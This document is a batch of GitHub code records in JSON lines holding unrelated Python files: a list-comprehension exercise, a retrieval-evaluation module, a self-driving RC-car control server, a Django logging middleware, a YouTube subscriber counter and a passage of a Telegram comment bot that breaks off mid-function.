{"seq_id":"13387498940","text":"# List Comprehension(리스트를 만드는 쉬운 방법들)\n# append 시킬 변수 선언 x\n# []에 한 줄로 조건절 넣기\n\nnumbers = []\n\n# 일반적인 방법\n# for n in range(1 ,101) :\n#     numbers.append(n)\n# print(numbers)\n\n# 리스트 컴프리헨션\nnumbers2 = [x for x in range(1, 101)]\nprint(numbers2)\n\n# 응용\n# 다음 리스트 중에서 '정' 글자를 제외하고 출력하세요.\nq3 = [\"갑\", \"을\", \"병\", \"정\"]\n# q3.remove(q3[3])\n# for i in q3 :\n#     print(i, end=' ')\n# print()\nprint([x for x in q3 if x != \"정\"])\n\n\n","repo_name":"stonesteel1023/python_study","sub_path":"test1/coding-ex5(list_compresive).py","file_name":"coding-ex5(list_compresive).py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"24805298088","text":"import os\n\nimport numpy as np\nfrom tqdm import tqdm\n\n\nclass SearchEvaluator:\n    def __init__(self, metrics):\n        self.metrics = metrics\n\n    @staticmethod\n    def precision_at_k(relevant, k):\n        return sum(relevant[:k]) / k\n\n    @staticmethod\n    def mean_reciprocal_rank(relevant):\n        for idx, value in enumerate(relevant):\n            if value == 1:\n                return 1 / (idx + 1)\n        return 0\n\n    @staticmethod\n    def calculate_average_precision(relevant):\n        pred_rel = [1] * len(relevant)\n        relevant_documents_count = 0\n        cumulative_precision = 0.0\n\n        # We iterate through the predicted relevance scores\n        for i in range(len(pred_rel)):\n            # Check if the prediction at this rank is correct (i.e., if it is a relevant document)\n            if pred_rel[i] == 1 and relevant[i] == 1:\n                relevant_documents_count += 1\n                precision_at_i = relevant_documents_count / (i + 1)\n                cumulative_precision += precision_at_i\n\n        # The average precision is the cumulative precision divided by the number of relevant documents\n        average_precision = cumulative_precision / sum(relevant) if sum(relevant) > 0 else 0\n        return average_precision\n\n    # @staticmethod\n    # def calculate_recall(relevant, total_modified_files, k):\n    #   # Does not work for commit based approach as it can have multiple mentions of the same file across commits leading to a higher than 1 recall\n    #     print(total_modified_files)\n    #     print(relevant)\n    #     return sum(relevant[:k]) / total_modified_files\n\n    @staticmethod\n    def calculate_recall(retrieved_files, actual_modified_files, relevant, k):\n        # this complicated mess is required as compared to the above much simpler code to support both commit-based and file-based approaches\n        # in file-based approach, this is equivalent to the above code\n        # in code-based approach, duplicates could be present in retrieved_files, which is why we need to filter them out (the above code would not work in this case)\n\n        return len({file for idx, file in enumerate(retrieved_files[:k])\n                        if relevant[idx] == 1\n                    }) / len(actual_modified_files) if len(actual_modified_files) > 0 else 0\n\n\n    def evaluate(self, search_results, actual_modified_files):\n        retrieved_files = [result.file_path for result in search_results]\n        relevant = [1 if file in actual_modified_files else 0 for file in retrieved_files]\n\n        evaluations = {}\n        for metric in self.metrics:\n            if metric == 'MAP':\n                evaluations[metric] = self.calculate_average_precision(relevant)\n            elif metric == 'MRR':\n                evaluations[metric] = self.mean_reciprocal_rank(relevant)\n            elif metric.startswith('P@'):\n                k = int(metric.split('@')[1])\n                evaluations[metric] = self.precision_at_k(relevant, k)\n            elif metric.startswith('Recall@'):\n                k = int(metric.split('@')[1])\n                evaluations[metric] = self.calculate_recall(retrieved_files, actual_modified_files, relevant, k)\n\n        return {k: round(v, 4) for k, v in evaluations.items()}\n\n\n\nclass ModelEvaluator:\n    def __init__(self, model, eval_model, combined_df, seed=42):\n        self.model = model\n        self.eval_model = eval_model\n        self.combined_df = combined_df\n        self.seed = seed\n\n    def sample_commits(self, n):\n        if self.combined_df.commit_id.nunique() < n:\n            raise ValueError(f'Not enough commits to sample. Required: {n}, available: {self.combined_df.commit_id.nunique()}')\n\n        midpoint_date = np.median(self.combined_df['commit_date'])\n        recent_df = self.combined_df[self.combined_df['commit_date'] > midpoint_date]\n\n        return recent_df.drop_duplicates(subset='commit_id').sample(n=n, replace=False, random_state=self.seed)\n\n    def evaluate_df(self, df, k=1000, aggregation_strategy=None, rerankers=None):\n        results = []\n        for _, row in tqdm(df.iterrows(), total=df.shape[0]):\n            cur_query = row['commit_message']\n            search_results = self.model.pipeline(cur_query, row['commit_date'], ranking_depth=k, aggregation_method=aggregation_strategy)\n            for reranker in rerankers:\n                search_results = reranker.rerank_pipeline(cur_query, search_results)\n            evaluation = self.eval_model.evaluate(search_results,\n                                                   self.combined_df[self.combined_df['commit_id'] == row['commit_id']]['file_path'].tolist())\n            results.append(evaluation)\n        return results\n\n    def evaluate_sampling(self, n=100, k=1000, output_file_path=None, overwrite_eval=False, aggregation_strategy=None, rerankers=None, gold_df=None): #, repo_path=None):\n        # if repo_path is None:\n        #     print(\"Repo path not provided, using current working directory\")\n            # repo_path = os.getcwd()\n        if rerankers is None:\n            rerankers = []\n\n        if output_file_path is None:\n            print(\"WARNING: Output file path not provided, not writing results to file\")\n            # output_file_path = os.path.join(repo_path, f'{self.model.__class__.__name__}_results.txt')\n\n        # output_file_path = os.path.join(repo_path, output_file)\n        model_name = self.model.__class__.__name__\n\n        if not overwrite_eval and output_file_path and os.path.exists(output_file_path):\n            print(f'Output file {output_file_path} already exists, set overwrite_eval flag to False, skipping...')\n            # print the contents of the file\n            with open(output_file_path, \"r\") as file:\n                print(file.read())\n            return\n        if gold_df is None:\n            sampled_commits = self.sample_commits(n)\n            results = self.evaluate_df(sampled_commits, k, aggregation_strategy, rerankers)\n        else:\n            print(f'Found gold_df, evaluating on {len(gold_df)} commits')\n            print(gold_df.info())\n            results = self.evaluate_df(gold_df, k, aggregation_strategy, rerankers)\n\n        avg_scores = {metric: round(np.mean([result[metric] for result in results]), 4) for metric in results[0]}\n\n        if output_file_path is not None:\n            with open(output_file_path, \"w\") as file:\n                file.write(f\"Model Name: {model_name}\\n\")\n                # write name of each reranker\n                if len(rerankers) > 0:\n                    file.write(\"Rerankers:\\n\")\n                    for reranker in rerankers:\n                        reranker_model_name = reranker.model.config.name_or_path\n                        # replace / with _\n                        reranker_model_name = reranker_model_name.replace('/', '_')\n                        file.write(f\"{reranker.__class__.__name__} ({reranker_model_name}) @ {reranker.rerank_depth}\\n\")\n\n\n                file.write(f\"Sample Size: {n}\\n\")\n                file.write(\"Evaluation Metrics:\\n\")\n                for key, value in avg_scores.items():\n                    file.write(f\"{key}: {value}\\n\")\n\n            print(f'Evaluation results written to {output_file_path}')\n\n        return avg_scores","repo_name":"Siddharth-Gandhi/ds","sub_path":"src/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":7233,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"9393432732","text":"import threading\nimport socketserver\nimport queue\nimport collections\nimport cv2\nimport numpy as np\nimport math\nimport socket\nimport base64\nfrom imutils.perspective import four_point_transform\nfrom scipy.interpolate import interp1d\n\nsensor_data = \" \"\ntest_finish = True\ncontrol_queue = queue.Queue(128)\nweb_queue = queue.Queue(1)\nsensor_data_queue = collections.deque(maxlen=3)\nsign_active_global = False\nmanual_control = 1  # 0 - autonomous\n                    # 0.5 - semi-autonomous\n                    # 1 - manueln\n\n\nclass NeuralNetwork(object):\n\n    def __init__(self):\n        self.model = None\n\n    def create(self):\n        self.model = cv2.ml.ANN_MLP_load('mlp_xml/mlp.xml')\n\n    def predict(self, samples):\n        ret, resp = self.model.predict(samples)\n        return resp.argmax(-1)\n\n\nclass RCControl(object):\n\n    def __init__(self):\n        pass\n\n    def steer(self, prediction):\n        global control_queue\n        if prediction == 2:\n            control_queue.put('1')\n            # print(\"Forward\")\n        elif prediction == 0:\n            control_queue.put('2')\n            # print(\"Forward-Left\")\n        elif prediction == 1:\n            control_queue.put('8')\n            # print(\"Forward-Right\")\n        else:\n            self.stop()\n\n    def stop(self):\n        global control_queue\n        control_queue.put('0')\n\n\nclass DistanceToCamera(object):\n\n    def __init__(self):\n        # camera params\n        self.alpha = 8.0 * math.pi / 180\n        self.v0 = 119.865631204\n        self.ay = 332.262498472\n\n    def calculate(self, v, h, x_shift, image):\n        # compute and return the distance from the target point to the camera\n        d = h / math.tan(self.alpha + math.atan((v - self.v0) / self.ay))\n        return d\n\n\nclass ObjectDetection(object):\n\n    def __init__(self):\n        self.red_light = False\n        self.green_light = False\n        self.yellow_light = False\n\n    # detecting stop traffic sigh\n    def detect(self, cascade_classifier, gray_image, image):\n\n        # y camera coordinate of the target point 'P'\n        v = 0\n        \n        # detection\n        cascade_obj = cascade_classifier.detectMultiScale(\n            gray_image,\n            scaleFactor=1.1,\n            minNeighbors=5,\n            minSize=(30, 30),\n            flags=cv2.CASCADE_SCALE_IMAGE\n        )\n\n        # draw a rectangle around the objects\n        for (x_pos, y_pos, width, height) in cascade_obj:\n            v = y_pos + height - 5\n\n        return v\n\n    # derection for turn left and turn right traffic sign\n    def findTrafficSign(self, frame):\n        lower_blue = np.array([85, 100, 70])\n        upper_blue = np.array([115, 255, 255])\n\n        frameArea = frame.shape[0] * frame.shape[1]\n\n        hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n\n        kernel = np.ones((3, 3), np.uint8)\n        mask = cv2.inRange(hsv, lower_blue, upper_blue)\n\n        mask = cv2.morphologyEx(mask, cv2.MORPH_OPEN, kernel)\n        mask = cv2.morphologyEx(mask, cv2.MORPH_CLOSE, kernel)\n\n        cnts = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)[-2]\n\n        largestArea = 0\n        largestRect = None\n\n        detectedTrafficSign = None\n\n        if len(cnts) > 0:\n            for cnt in cnts:\n                rect = cv2.minAreaRect(cnt)\n                box = cv2.boxPoints(rect)\n                box = np.int0(box)\n\n                sideOne = np.linalg.norm(box[0] - box[1])\n                sideTwo = np.linalg.norm(box[0] - box[3])\n\n                area = sideOne * sideTwo\n\n                if area > largestArea:\n                    largestArea = area\n                    largestRect = box\n\n        v = 0\n\n        if largestArea > frameArea * 0.02:\n            v = largestRect[1][1] + (largestRect[0][1] - largestRect[1][1]) - 5\n            warped = four_point_transform(mask, [largestRect][0])\n            detectedTrafficSign = self.identifyTrafficSign(warped)\n\n        return detectedTrafficSign, v\n\n    def identifyTrafficSign(self, image):\n\n        SIGNS_LOOKUP = {\n            (1, 0, 0, 1): 'Turn Right',  # turnRight\n            (0, 0, 1, 1): 'Turn Left',  # turnLeft\n        }\n\n        THRESHOLD = 150\n\n        image = cv2.bitwise_not(image)\n        (subHeight, subWidth) = np.divide(image.shape, 10)\n        subHeight = int(subHeight)\n        subWidth = int(subWidth)\n\n        leftBlock = image[4 * subHeight:9 * subHeight, subWidth:3 * subWidth]\n        centerBlock = image[4 * subHeight:9 * subHeight, 4 * subWidth:6 * subWidth]\n        rightBlock = image[4 * subHeight:9 * subHeight, 7 * subWidth:9 * subWidth]\n        topBlock = image[2 * subHeight:4 * subHeight, 3 * subWidth:7 * subWidth]\n\n        leftFraction = np.sum(leftBlock) / (leftBlock.shape[0] * leftBlock.shape[1])\n        centerFraction = np.sum(centerBlock) / (centerBlock.shape[0] * centerBlock.shape[1])\n        rightFraction = np.sum(rightBlock) / (rightBlock.shape[0] * rightBlock.shape[1])\n        topFraction = np.sum(topBlock) / (topBlock.shape[0] * topBlock.shape[1])\n\n        segments = (leftFraction, centerFraction, rightFraction, topFraction)\n        segments = tuple(1 if segment > THRESHOLD else 0 for segment in segments)\n\n        if segments in SIGNS_LOOKUP:\n            return SIGNS_LOOKUP[segments]\n        else:\n            return None\n\n\nclass SensorDataHandler(socketserver.BaseRequestHandler):\n\n    data = \" \"\n\n    def handle(self):\n        global sensor_data\n        global sensor_data_queue\n        try:\n            while self.data:\n                self.data = self.request.recv(1024)\n                sensor_data_queue.append(self.data)\n        except:\n            print(\"Connection closed on thread 2\")\n\n\nclass VideoStreamHandler(socketserver.StreamRequestHandler):\n\n    # h1: stop sign\n    h1 = 15.5 - 10  # cm\n    # h2: traffic light\n    h2 = 15.5 - 10\n\n    # create neural network\n    model = NeuralNetwork()\n    model.create()\n\n    obj_detection = ObjectDetection()\n    rc_car = RCControl()\n\n    # cascade classifiers\n    stop_cascade = cv2.CascadeClassifier('cascade_xml/stop_sign.xml')\n\n    d_to_camera = DistanceToCamera()\n    d_stop_sign = 60\n\n    stop_start = 0              # start time when stop at the stop sign\n    stop_finish = 0\n    stop_time = 0\n    drive_time_after_stop = 0\n    sign_start = 0\n    drive_time_after_sign = 0\n\n    sensor_x = [25, 30, 43, 60, 87, 165, 255] # values that we get from IR sensors\n    sensor_y = [30, 25, 20, 15, 10, 5, 1] # real distance from car in cm\n\n    def recvall(self, sock, count):\n        buf = b''\n        while count:\n            newbuf = sock.read(count)\n            if not newbuf:\n                return None\n            buf += newbuf\n            count -= len(newbuf)\n        return buf\n\n    def handle(self):\n        global test_finish\n        global sensor_data\n        global sensor_data_queue\n        global sign_active_global\n        global web_queue\n        stop_flag = False\n        stop_sign_active = True\n        sign_active = False\n        sign_sent = False\n\n        interpolate_sensor = interp1d(self.sensor_x, self.sensor_y, kind='cubic')\n        interpolate_sensor.bounds_error = False\n\n        try:\n            # stream video frames one by one\n            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n            while test_finish:\n                length = self.recvall(self.rfile, 16)\n                stringData = self.recvall(self.rfile, int(length))\n                data = np.fromstring(stringData, dtype='uint8')\n                image = cv2.imdecode(data, 1)\n                gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n                _, t12 = cv2.imencode('.jpg', image)\n                b64_img = base64.b64encode(t12)\n\n                sock.sendto(b64_img, ('localhost', 8993))\n\n                # lower half of the image\n                half_gray = gray[120:240, :]\n\n                # object detection\n                v_param1 = self.obj_detection.detect(self.stop_cascade, gray, image)\n                detected_sign, v_param2 = self.obj_detection.findTrafficSign(image)\n\n                if detected_sign is not None and not sign_active:\n                    sign_active = True\n                    self.sign_start = cv2.getTickCount()\n\n                # distance measurement\n                if v_param1 > 0:\n                    self.d_stop_sign = self.d_to_camera.calculate(v_param1, self.h1, 300, image)\n\n\n                # showing video\n                # cv2.imshow('image', image)\n                # if cv2.waitKey(1) & 0xFF == ord('q'):\n                #     pass\n\n                # stop conditions\n                sensor_data = []\n                try:\n                    sensor_data.append(sensor_data_queue.popleft().decode().split(\";\"))\n                    sensor_data.append(sensor_data_queue.popleft().decode().split(\";\"))\n                    sensor_data.append(sensor_data_queue.popleft().decode().split(\";\"))\n                except:\n                    pass\n\n                each_sensor_data = [0, 0, 0, 0, 0]\n                for data in sensor_data:\n                    each_sensor_data[0] += int(data[0])\n                    each_sensor_data[1] += int(data[1])\n                    each_sensor_data[2] += int(data[2])\n                    each_sensor_data[3] += int(data[3])\n                    each_sensor_data[4] += int(data[4])\n\n                if sensor_data:\n                    each_sensor_data[0] /= len(sensor_data)\n                    each_sensor_data[1] /= len(sensor_data)\n                    each_sensor_data[2] /= len(sensor_data)\n                    each_sensor_data[3] /= len(sensor_data)\n                    each_sensor_data[4] /= len(sensor_data)\n\n                tmp_str = ''\n                tmp_str += '%.1f' % interpolate_sensor(each_sensor_data[0]) + ';'\n                tmp_str += '%.1f' % interpolate_sensor(each_sensor_data[1]) + ';'\n                tmp_str += '%.1f' % interpolate_sensor(each_sensor_data[2]) + ';'\n                tmp_str += '%.1f' % interpolate_sensor(each_sensor_data[3]) + ';'\n                tmp_str += '%.1f' % interpolate_sensor(each_sensor_data[4]) + ';'\n                tmp_str += str(detected_sign) + ';'\n                tmp_str += str(True if v_param1 > 0 else False) + '\\n'\n\n                if web_queue.empty():\n                    web_queue.put(tmp_str)\n\n                # for manuel controll we do not need any AI comands\n                if manual_control == 1:\n                    continue\n\n                # for semi-autonomous we have collision detection and collision avoidance system\n                if manual_control == 0.5:\n                    if int(each_sensor_data[2]) > 100:\n                        self.rc_car.stop()\n                        continue\n                    continue\n\n                # reshape image\n                image_array = half_gray.reshape(1, 38400).astype(np.float32)\n\n                # neural network makes prediction\n                prediction = self.model.predict(image_array)\n\n                if int(each_sensor_data[2]) > 100:\n                    # print(\"Stop, obstacle in front\")\n                    self.rc_car.stop()\n\n                elif 0 < self.d_stop_sign < 55 and stop_sign_active:\n                    # print(\"Stop sign ahead\")\n                    self.rc_car.stop()\n\n                    # stop for 5 seconds\n                    if stop_flag is False:\n                        self.stop_start = cv2.getTickCount()\n                        stop_flag = True\n                    self.stop_finish = cv2.getTickCount()\n\n                    self.stop_time = (self.stop_finish - self.stop_start)/cv2.getTickFrequency()\n                    # print(\"Stop time: %.2fs\" % self.stop_time)\n\n                    # 3 seconds later, continue driving\n                    if self.stop_time > 3:\n                        # print(\"Waited for 3 seconds\")\n                        if each_sensor_data[1] > 35 or each_sensor_data[2] > 50:\n                            pass\n                        else:\n                            stop_flag = False\n                            stop_sign_active = False\n\n                elif sign_active and not sign_sent:\n                    if detected_sign == 'Turn Left':\n                        # print('Turn Left sign')\n                        control_queue.put('l')\n                        sign_sent = True\n                    elif detected_sign == 'Turn Right':\n                        # print('Turn Right sign')\n                        control_queue.put('r')\n                        sign_sent = True\n\n                elif int(each_sensor_data[1]) > 90:\n                    if int(each_sensor_data[4]) > 70:\n                        # print(\"Stop front-left obstacle\")\n                        self.rc_car.stop()\n                    else:\n                        # print(\"Avoid front-left obstacle\")\n                        control_queue.put('8')\n\n                elif int(each_sensor_data[3]) > 90:\n                    if int(each_sensor_data[0]) > 70:\n                        # print(\"Stop front-right obstacle\")\n                        self.rc_car.stop()\n                    else:\n                        # print(\"Avoid front-right obstacle\")\n                        control_queue.put('2')\n\n                else:\n                    self.rc_car.steer(prediction)\n                    self.stop_start = cv2.getTickCount()\n                    self.d_stop_sign = 50\n                    self.d_sign = 50\n\n                if stop_sign_active is False:\n                    self.drive_time_after_stop = (self.stop_start - self.stop_finish)/cv2.getTickFrequency()\n                    if self.drive_time_after_stop > 5:\n                        stop_sign_active = True\n\n                if sign_active is True:\n                    self.drive_time_after_sign = (cv2.getTickCount() - self.sign_start) / cv2.getTickFrequency()\n                    if self.drive_time_after_sign > 3:\n                        sign_active = False\n                        sign_active_global = False\n                        sign_sent = False\n                        # print(\"Finish sign detection\")\n\n            sock.close()\n\n        except Exception as e:\n            print(\"Connection closed on thread 1\")\n\n\nclass ThreadServer(object):\n\n    def __init__(self):\n        # sensor - receive data from RPi\n        distance_thread = threading.Thread(target=self.server_thread2, args=('localhost', 8002))\n        distance_thread.start()\n        # video - receive video (jpeg) images from RPi\n        video_thread = threading.Thread(target=self.server_thread, args=('localhost', 8000))\n        video_thread.start()\n        # keyboard i AI controll\n        control_thread = threading.Thread(target=self.server_thread3, args=('localhost', 8004))\n        control_thread.start()\n        # send to web (sensor & sign) - send to client sensor values and detected traffic sign\n        web_data_thread = threading.Thread(target=self.server_thread4, args=('localhost', 8992))\n        web_data_thread.start()\n\n    def server_thread(self, host, port):\n        server = socketserver.TCPServer((host, port), VideoStreamHandler)\n        server.serve_forever()\n\n    def server_thread2(self, host, port):\n        server = socketserver.TCPServer((host, port), SensorDataHandler)\n        server.serve_forever()\n\n    def server_thread3(self, host, port):\n        server_socket = socket.socket()\n        server_socket.bind((host, port))\n        server_socket.listen(0)\n        self.server_thread3_rec(server_socket)\n\n    def server_thread3_rec(self, server_socket):\n        global control_queue\n        global test_finish\n        global sign_active_global\n        connection, _ = server_socket.accept()\n\n        try:\n            while test_finish:\n\n                cmd = control_queue.get(block=True, timeout=None)\n\n                b = bytearray()\n                b.extend(map(ord, cmd))\n                if not sign_active_global:\n                    connection.send(b)\n                if cmd == 'l' or cmd == 'r':\n                    sign_active_global = True\n                control_queue.task_done()\n        except ConnectionResetError:\n            print(\"Connection closed on thread 3\")\n            self.server_thread3_rec(server_socket)\n        except ConnectionAbortedError:\n            print(\"Connection closed on thread 3\")\n            self.server_thread3_rec(server_socket)\n\n    def server_thread4(self, host, port):\n\n        global manual_control\n        global control_queue\n        lock = threading.Lock()\n\n        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n        while True:\n            try:\n                s.connect((host, port))\n            except:\n                continue\n            else:\n                break\n        s.setblocking(True)\n        s.settimeout(0.1)\n\n        while test_finish:\n            try:\n                cmd = web_queue.get(block=True, timeout=None)\n                s.send(cmd.encode())\n                web_queue.task_done()\n\n                tmp = s.recv(64).decode()\n                tmp = tmp[:-2]\n\n                if tmp == 'manual':\n                    lock.acquire()\n                    manual_control = 1\n                    lock.release()\n                    control_queue.put('0')\n                    # print('manual')\n                    continue\n                elif tmp == 'auto':\n                    lock.acquire()\n                    manual_control = 0\n                    lock.release()\n                    control_queue.put('0')\n                    # print('auto')\n                    continue\n                elif tmp == 'semi':\n                    lock.acquire()\n                    manual_control = 0.5\n                    lock.release()\n                    control_queue.put('0')\n                    # print('semi')\n                    continue\n\n                if manual_control == 1 or manual_control == 0.5:  # jeste mauelno, i onda nase komande stavljaj u queue\n                    if tmp != \"\":\n                        control_queue.put(tmp)\n            except socket.error as e:\n                if e.errno is None:\n                    pass\n                if e.errno == 10054:\n                    print(\"Connection closed on thread 4\")\n                    try:\n                        self.server_thread4(host, port)\n                    except:\n                        pass\n\n\nif __name__ == '__main__':\n    ThreadServer()\n","repo_name":"aleksandarPlu/selfDrivingRobot","sub_path":"AutoRCCar/computer/rc_driver.py","file_name":"rc_driver.py","file_ext":"py","file_size_in_byte":18299,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"}
{"seq_id":"31287918472","text":"def log_format(request, response, exception=None):\n    user_id = request.user.id if request.user.is_authenticated else None\n    user_info ={\n        'user_id':user_id,\n        'user_email': request.user.email if request.user.is_authenticated else ' ',\n    }\n    remote_host = request.META.get(\"REMOTE_ADDR\",'-')\n    request_line = request.method\n    \n    status_code = response.status_code if not exception else 500\n\n    response_size = response.get('Content-Length', ' ') if response else \"\"\n    print(response_size)\n    referrer = request.META.get('HTTP_REFERRER', '-')\n    elapsed_time = response.elapsed.total_seconds() if hasattr(response, 'elapsed') else None\n    user_agent = request.headers.get('user-agen')\n    event = f\"{request.get_full_path()} HTTP/1.1\"\n\n    message = str(exception) if exception else 'Request is successfully'\n    \n    return {\n        'user_info': user_info,\n        'remote_host': remote_host,\n        'request_line': request_line,\n        'status_code': status_code,\n        'response_size': response_size,\n        'referrer': referrer,\n        'elapsed_time': elapsed_time,\n        'message': message,\n        'user_agent': user_agent,\n        'event': event,\n    }\n\ndef authentication_logs_format(user, body, exception=None):\n    message = str(exception) if exception else 'Consume is seccssfully'\n    \n    return {\n        'user_id': str(user.id ),\n        'user_phone': str(user.phone),\n        'user_agent': body[\"user_agent\"],\n        'event': f\"consumer.{body['routing_key']}\",\n        \"status\": \"success\",\n        'message': message\n    }\n    \ndef rss_log_format(body, exception=None):\n\n    message = str(exception) if exception else 'Consume is successfully'\n\n    return {\n        'event': f\"consumer.{body['routing_key']}\",\n        \"status\": \"success\",\n        'message': message\n    }\n    \nimport json\nimport logging\n\nlogger = logging.getLogger('elastic-logger')\n\ndef log_to_elasticsearch(log_data, log_level):\n    if log_level == 'info':\n        logger.info(json.dumps(log_data))\n    elif log_level == 'error':\n        logger.error(json.dumps(log_data))\n        \nclass CustomLoggingMiddleware:\n    def __init__(self, get_response):\n        self.get_response = get_response\n    \n    def __call__(self, request):\n        response = self.get_response(request)\n        log_data = log_format(request, response)\n        log_to_elasticsearch(log_data=log_data, log_level='info')\n        return response\n    def process_exception(self, request, exception):\n        log_data = log_format(request, None, exception)\n        log_to_elasticsearch(log_data=log_data, log_level='error')","repo_name":"Alii-afzal/PodcastRSSFeed","sub_path":"config/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":2616,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"17844966129","text":"from googleapiclient.discovery import build\nimport requests\nimport json\n\napi_key ='CLE_API'\n\nyoutube = build ('youtube', 'v3', developerKey=api_key)\n\nrequest = youtube.channels().list(\n\t\tpart='statistics',\n\t\tid='ID_CHAINE'\n\t)\n\nresponse: object = request.execute()\n\nprint(response)\n\nabo = response['items'][0]['statistics']['subscriberCount']\n\nprint (abo)\n\naboint = float(abo)\n\nabok = float(aboint/1000)\n\nprint (abok)\n\n\nabodisplay = str(abok)+\"K\"\n\nprint (abodisplay)\n","repo_name":"EnRootMT/compteurYT","sub_path":"compteur.py","file_name":"compteur.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"17872544159","text":"import helper_const\nimport helper_global\nimport helper_database\nimport telegram\nimport threading\nfrom telegram import InlineKeyboardButton, InlineKeyboardMarkup\nfrom telegram.ext import MessageHandler, Filters\nfrom ninesix import Logger\n\ndef add_record(bot, channel_id, msg_id, message):\n    logger = Logger.logger\n    ori_msg_id = message.message_id\n    user = message.from_user\n    username = user.username\n    user_id = user.id\n    name = user.first_name\n    if user.last_name:\n        name += \" \" + user.last_name\n    date = message.date.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n    msg_type = \"text\"\n    msg_content = \"\"\n    media_id = \"\"\n    if message.text:\n        msg_type = \"text\"\n        msg_content = message.text\n    elif message.sticker:\n        msg_type = 'sticker'\n        media_id = message.sticker.file_id\n        if message.sticker.emoji:\n            msg_content = message.sticker.emoji\n    elif message.photo:\n        msg_type = 'photo'\n        media_id = message.photo[-1].file_id\n        if message.caption:\n            msg_content = message.caption\n    elif message.video:\n        msg_type = 'video'\n        media_id = message.video.file_id\n        if message.caption:\n            msg_content = message.caption\n    elif message.document:\n        msg_type = 'document'\n        media_id = message.document.file_id\n        if message.document.file_name:\n            msg_content = message.document.file_name\n    elif message.audio:\n        msg_type = 'audio'\n        media_id = message.audio.file_id\n        if message.audio.title:\n            msg_content = message.audio.title\n    elif message.voice:\n        msg_type = 'voice'\n        media_id = message.voice.file_id\n\n    msg_content = helper_global.parse_entity(msg_content, message.entities)\n\n    if message.reply_markup and message.reply_markup.inline_keyboard:\n        keyboard = message.reply_markup.inline_keyboard\n        if len(keyboard) > 0 and len(keyboard[0]) > 0:\n            query = keyboard[0][0]\n            if query.callback_data:\n                args = query.callback_data.split(\",\")\n                if len(args) == 4 and args[0] == \"notify\":\n                    target_channel_id = int(args[1])\n                    target_msg_id = int(args[2])\n                    target_row_id = args[3]\n                    record = helper_database.get_record_by_rowid(target_row_id)\n                    if len(record) > 0 and target_channel_id == int(record[0][0]) and target_msg_id == int(record[0][1]):\n                        target_name = record[0][3]\n                        target_user_id = record[0][8]\n                        config = helper_database.get_channel_config(channel_id)\n                        if config is None:\n                            return\n                        channel_lang, channel_username = config[1], config[4]\n                        msg_content = \"<b>(➤%s) </b> \" % target_name.replace('<', '&lt;').replace('>', '&gt;') + msg_content\n                        if channel_username is not None:\n                            logger.msg({\n                                \"channel_id\": channel_id,\n                                \"msg_id\": msg_id,\n                                \"target_user\": target_user_id,\n                                \"action\": \"notify reply\"\n                            }, tag=\"private\", log_level=80)\n                            bot.send_message(\n                                chat_id=target_user_id, \n                                text=helper_global.value(\"new_reply_message\", \"You receive a reply message.\", lang=channel_lang) + \"\\n\" + helper_global.value(\"target_message\", \"\", lang=channel_lang) + \"https://t.me/%s/%d\" % (channel_username, target_msg_id) \n                            )\n                        else:\n                            link_id = abs(channel_id) % 10000000000\n                            bot.send_message(\n                                chat_id=target_user_id, \n                                text=helper_global.value(\"new_reply_message\", \"You receive a reply message.\", lang=channel_lang) + \"\\n\" + helper_global.value(\"target_message\", \"\", lang=channel_lang) + \"https://t.me/c/%d/%d\" % (link_id, target_msg_id) \n                            )\n\n    return helper_database.add_record(channel_id, msg_id, username, name, msg_type, msg_content, media_id, date, user_id, ori_msg_id)\n\n\ndef update_comments(bot, channel_id, msg_id, update_mode):\n    logger = Logger.logger\n    config = helper_database.get_channel_config(channel_id)\n    if config is None:\n        return\n    channel_lang = config[1]\n    mode = config[2]\n    recent = config[3]\n    logger.msg({\n        \"channel_id\": channel_id,\n        \"msg_id\": msg_id,\n        \"update_mode\": update_mode\n    }, tag=\"private\", log_level=80)\n\n    # For mode 3\n    if mode == 3 and update_mode == 2:\n        buttons = helper_database.get_button_options(channel_id, msg_id)\n        stat = helper_database.get_reaction_stat(channel_id, msg_id)\n        # Prepare Keyboard\n        motd_keyboard = [[\n            InlineKeyboardButton(\n                value + (\" (%d)\" % stat[idx] if idx in stat else \"\"),\n                callback_data=\"like,%s,%s,%d\" % (channel_id, msg_id, idx)\n            )\n        for idx, value in enumerate(buttons)]] + [[\n            InlineKeyboardButton(\n                helper_global.value(\"add_comment\", \"Add Comment\", lang=channel_lang),\n                url=\"http://telegram.me/%s?start=add_%d_%d\" % (helper_global.value('bot_username', ''), channel_id, msg_id)\n            ),\n            InlineKeyboardButton(\n                helper_global.value(\"show_all_comments\", \"Show All\", lang=channel_lang),\n                url=\"http://telegram.me/%s?start=show_%s_%d\" % (helper_global.value('bot_username', ''), channel_id, msg_id)\n            )\n        ]]\n        motd_markup = InlineKeyboardMarkup(motd_keyboard)\n\n        records = helper_database.get_recent_records(channel_id, msg_id, recent)\n        origin_post = helper_database.get_origin_post(channel_id, msg_id)\n\n        try:\n            bot.edit_message_caption(\n                caption=origin_post + \"\\n\\n\" + helper_global.records_to_str(records, channel_lang), \n                chat_id=channel_id, \n                message_id=msg_id, \n                parse_mode=telegram.ParseMode.HTML,\n                reply_markup=motd_markup\n            )\n        except:\n            bot.edit_message_text(\n                text=origin_post + \"\\n\\n\" + helper_global.records_to_str(records, channel_lang), \n                chat_id=channel_id, \n                message_id=msg_id, \n                parse_mode=telegram.ParseMode.HTML,\n                reply_markup=motd_markup\n            )\n        return\n        \n    # update comments in channel\n    comment_id = helper_database.get_comment_id(channel_id, msg_id)\n    if comment_id is None:\n        # If no comment message, just update Like buttons\n        